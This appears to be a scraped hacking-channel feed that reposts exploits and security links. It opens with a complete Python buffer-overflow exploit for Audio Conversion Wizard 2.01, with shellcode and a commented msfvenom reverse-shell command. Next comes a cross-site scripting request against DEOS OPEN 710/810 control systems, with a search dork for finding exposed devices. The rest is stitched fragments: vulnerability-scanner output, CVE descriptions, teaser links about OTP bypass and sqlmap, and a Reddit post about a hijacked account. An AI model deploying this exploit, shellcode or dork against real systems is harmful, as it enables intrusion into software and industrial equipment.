Exploit Collector
Audio Conversion Wizard 2.01 Buffer Overflow

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Audio Conversion Wizard version 2.01 suffers from a buffer overflow vulnerability.

MD5 | 978510096075149301075a00e788b731

Download
# Exploit Title: Audio Conversion Wizard v2.01 - Buffer Overflow
# Exploit Author: Hejap Zairy
# Date: 03.07.2022
# Software Link: https://www.litexmedia.com/acwizard.exe
# Tested Version: v2.01
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 4.- Paste the Content of 0day_Hejap.txt into the 'Enter Code'
# 5.- Click 'OK'

# Author Code By Hejap Zairy
#!/usr/bin/env python

from pwn import *

buffer = "\x41" * 1016
push_esp = p32(0x1004dbff) #push esp ret ret from id3lib.dll
nops = "\x90" * 15#515 tshhh theardlooo love Malware
#msfvenom --arch x64 windows/x64/shell_reverse_tcp lhost=ip lport=443 -f python -e x64/shikata_ga_nai -b "\x00\x0a\x0d\x20"
#msfvenom --arch x64 -p windows/x64/messagebox TEXT="0day Hejap Zairy" -f python -e x64/shikata_ga_nai EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00"
buf += b"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b"
buf += b"\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e"
buf += b"\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9"
buf += b"\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52"
buf += b"\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b"
buf += b"\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48"
buf += b"\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b"
buf += b"\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
buf += b"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0"
buf += b"\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff"
buf += b"\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a"
buf += b"\x01\x00\x00\x3e\x4c\x8d\x85\x2b\x01\x00\x00\x48\x31"
buf += b"\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a"
buf += b"\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28"
buf += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
buf += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x30\x64\x61\x79"
buf += b"\x20\x48\x65\x6a\x61\x70\x20\x5a\x61\x69\x72\x79\x00"
buf += b"\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00"
padding ="C" * (len(buffer) - len(push_esp) - len(nops))
payload = buffer + push_esp + nops + buf + padding
try:
with open("0day_Hejap.txt","wb") as f:
print("[+] Creating %s Shellcode 0day-Hejap payload.." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("[-]File cannot be created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
DEOS AG OPEN 710/810 Cross Site Scripting

https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png
DEOS AG OPEN 710 and 810 control systems suffer from a cross site scripting vulnerability.

MD5 | b1e4e5ef43de46b40557c5685bdd9bd6

Download
# Title: DEOS control systems GmbH - OPEN 710/810 EMS > Cross Site Scripting Vulnerability
# Dork: app:"DEOS AG OPEN EMS System ics device httpd"
# Vendor page: https://www.deos-ag.com/en/
# Exploit Author: n4pst3r
# Tested on: Debian
POST /cgi-bin/option.cgi?function=2 HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/cgi-bin/cosmobdf.cgi?function=%271&session=0&grafik=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip;deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML; like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

devcode_form=&lastcode_form=&newcode=94102_

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Master_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities
http://www.kitploit.com/2022/03/masterlibrarian-simple-tool-to-audit.html

___________________________
@hacking_Attack
@Hacking_Video

Tool to search public vulnerabilities on local libraries
by CoolerVoid

Example:
$ python3 master_librarian.py -t csv
$ python3 master_librarian.py -t txt -l 3

Master librarian v0.3
Tool to search public vulnerabilities on local libraries
by CoolerVoid

Search pitfalls in operational system local packages

xres 1.2.0
cairo-ps 1.16.0
xf86vidmodeproto 2.3.1
libcrypto 1.1.1f
damageproto 1.2.1
libffi 3.3
xfixes 5.0.3
Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.
https://nvd.nist.gov/vuln/detail/CVE-2016-7944
7.5 HIGH

system.web.extensions.design_1.0 1.0.61025.0
kbproto 1.0.7
gio-unix-2.0 2.64.6
gdk-x11-2.0 2.24.32
sqlite3 3.31.1
cairo-png 1.16.0
lib pcre2-posix 10.34
wcf 6.8.0.105
dmxproto 2.3.1
cairo-script 1.16.0
xext 1.3.4
x11 1.6.9
system.web.mvc 1.0.0.0
mono-cairo 6.8.0.105
cecil 6.8.0.105
udev 245
The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.
https://nvd.nist.gov/vuln/detail/CVE-2011-0640
6.9 MEDIUM

plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.
https://nvd.nist.gov/vuln/detail/CVE-2010-4176
4.0 MEDIUM

xkeyboard-config 2.29
bash-completion 2.10
yelp-xsl 3.36.0
xdamage 1.1.5
libgdiplus 6.0.4
icu-uc 66.1
xcomposite 0.4.5
harfbuzz 2.6.4
pixman-1 0.38.4
pthread-stubs 0.4
systemd 245
An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.
https://nvd.nist.gov/vuln/detail/CVE-2020-13529
2.9 LOW

systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.
https://nvd.nist.gov/vuln/detail/CVE-2020-13776
6.2 MEDIUM

A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.
https://nvd.nist.gov/vuln/detail/CVE-2020-1712
4.6 MEDIUM

expat 2.2.9
pangocairo 1.44.7
xdmcp 1.1.3
libpcreposix 8.39
ruby-2.7 2.7.0
glib-2.0 2.64.6
gnome-system-tools 3.0.0
xinerama 1.1.4
nunit 2.6.3
gmp 6.2.0
libevent 2.1.11-stable
xbuild12 12.0
xorg-sgml-doctools 1.11
presentproto 1.2
gdk-pixbuf-2.0 2.40.0
inputproto 2.3.2
libssl 1.1.1f
xcb-shm 1.14
gdk-2.0 2.24.32
libpng16 1.6.37
bigreqsproto 1.1.2
icu-io 66.1
xextproto 7.3.0
libthai 0.1.28
libbsd-overlay 0.10.0
mount 2.34.0
gio-2.0 2.64.6
adwaita-icon-theme 3.36.1
fontconfig 2.13.1
xrandr 1.5.2
monosgen-2 6.8.0.105
mono 6.8.0.105
xf86d gaproto 2.1
dri3proto 1.2
libpcre 8.39
pangoxft 1.44.7
blkid 2.34.0
libsepol 3.0
libevent_openssl 2.1.11-stable
uuid 2.34.0
gmodule-2.0 2.64.6
graphite2 3.0.1
libfl 2.6.4
zlib 1.2.11
cairo-pdf 1.16.0
ruby 2.7.0

___________________________
@hacking_Attack
@Hacking_Video

Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2 .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.
https://nvd.nist.gov/vuln/detail/CVE-2021-32740
5.0 MEDIUM

An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.
https://nvd.nist.gov/vuln/detail/CVE-2020-10933
5.0 MEDIUM

libevent_extra 2.1.11-stable
system.web.mvc3 3.0.0.0
libstartup-notification-1.0 0.12
mono-2 6.8.0.105
mono-nunit 2.6.3
gobject-2.0 2.64.6
glproto 1.4.17
cairo-ft 1.16.0
cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa tible with WebKit's fastMalloc, leading to an application crash with a "free(): invalid pointer" error.
https://nvd.nist.gov/vuln/detail/CVE-2018-19876
4.3 MEDIUM

xcb 1.14
Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.
https://nvd.nist.gov/vuln/detail/CVE-2016-0752
5.0 MEDIUM

fribidi 1.0.8
xtrans 1.4.0
cairo-xlib-xrender 1.16.0
mono-lineeditor 0.2.1
xcmiscproto 1.2.2
gmodule-no-export-2.0 2.64.6
dri2proto 2.8
python3-embed 3.8
libpcre32 8.39
system.web.mvc2 2.0.0.0
dotnet 6.8.0.105
iso-codes 4.4
fontutil 1.3.1
xbitmaps 1.1.1
system.web.extensions_1.0 1.0.61025.0
recordproto 1.14.2
resourceproto 1. 2.0
mobile-broadband-provider-info 20190618
videoproto 2.3.3
libevent_core 2.1.11-stable
fontsproto 2.1.3
xsp-4 4.2
python3 3.8
In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.
https://nvd.nist.gov/vuln/detail/CVE-2020-15801
7.5 HIGH

In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.
https://nvd.nist.gov/vuln/detail/CVE-2020-15523
6.9 MEDIUM

xineramapro to 1.2.1
xcb-render 1.14
libpcre2-32 10.34
libbsd-ctor 0.10.0
libbsd 0.10.0
nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).
https://nvd.nist.gov/vuln/detail/CVE-2019-20367
6.4 MEDIUM

xft 2.3.3

___________________________
@hacking_Attack
@Hacking_Video

Tested in Ubuntu Linux, Fedora Linux and FreeBSD. The purpose of this tool is to use in local pentest, take attention if you have a proper authorization (https://www.kitploit.com/search/label/Authorization) before to use that. I do not have responsibility for your actions. You can use a hammer to construct a house or destroy it, choose the law path, don't be a bad guy, remember.

Download Master_Librarian (https://github.com/CoolerVoid/master_librarian)

___________________________
@hacking_Attack
@Hacking_Video

OTP bypass via response manipulation and brute forcing.

Hello Hackers,Continue reading on Medium »
Read more...

OTP bypass via response manipulation and brute forcing.
https://medium.com/@rudramsaraf90/otp-bypass-via-response-manipulation-and-brute-forcing-ada4cbf159d6?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hackers,Continue reading on Medium » (https://medium.com/@rudramsaraf90/otp-bypass-via-response-manipulation-and-brute-forcing-ada4cbf159d6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

OTP bypass via response manipulation and brute forcing.

Hello Hackers,Continue reading on Medium »
Read more...

Hacking with sqlmap

Sqlmap :Continue reading on Medium »
Read more...

hacking: security in practice
Chinese APT41 hackers breached into Six U.S. State Organizations

https://external-preview.redd.it/zf8NpPrfw4it6OV-p_KgSpJ4YwWylz6Zg-WgPYAqJQo.jpg?width=640&crop=smart&auto=webp&s=845ac2e0056b26ea10593adc105944721d904e63 submitted by /u/JamieTaylor_23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Get back hacked account

Hi, so I know this may not be the best place to ask this and I may look pretty dumb but I was wondering if you would happen to know how I could recover my friend hacked Instagram account. There were messages and post of her recommending a crypto site and texting all of her contacts about it too. She tried changing her password but they keep taking it back. Any help would be really appreciated.

Edit: Just to be sure, I don’t want to steal her account, I simply want to find a way for her to retrieve it. At the same time I’m interested in the ways these types things can happen so I can prevent them from happening again.

submitted by /u/INF_Phoenix
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Root-me Challenges(Networks)

https://cdn-images-1.medium.com/max/1717/1*Km8JaM3iHU44rTp2kLdG0Q.png
Investigate captured traffic, network services and perform packet analysis

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Silky CTF 01 VM Walkthrough

https://cdn-images-1.medium.com/max/633/0*gDXAN-DDidOCpP0u
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Simple Bot To Book your Practical Driving Test

https://cdn-images-1.medium.com/max/1322/1*fQSwUwkQ415D5XwsDNkdxA.jpeg
Disclaimer: This is for educational purposes only.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking with sqlmap

https://cdn-images-1.medium.com/max/800/1*JMKhZae4r5_isAFnxgEWuQ.jpeg
Sqlmap :

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video